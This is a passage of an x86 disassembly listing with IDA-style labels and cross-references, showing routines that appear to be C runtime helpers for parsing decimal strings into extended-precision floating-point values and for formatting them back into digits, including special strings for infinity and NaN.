		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax


loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi


loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h


loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245


loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi


loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump


loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C


loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43C508
		jnz	short loc_42527B


loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265


loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43C508
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324


loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564


loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265


loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43C508
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9


loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3


loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43C504, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------


loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------


loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]


loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------


loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43C508
		jnz	short loc_4253E6


loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F


loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------


loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43C504, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------


loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------


loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43C504, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487


loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567


loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------


loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8


loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------


loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490


loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9


loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax


loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------


loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567


loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7


loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi


loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43C504, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------


loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h


loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi


loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43C504, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------


loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------


loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx


loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]


loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------


loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]


loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647


loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------


loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax


loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]


loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]


loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1


loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------


loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E


loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776


loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------


loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------


loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"


loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx


loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------


loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]


loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi


loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893


loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886


loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx


loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]


loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D


loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914


loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425914:				; CODE XREF: sub_4256C2+24Cj
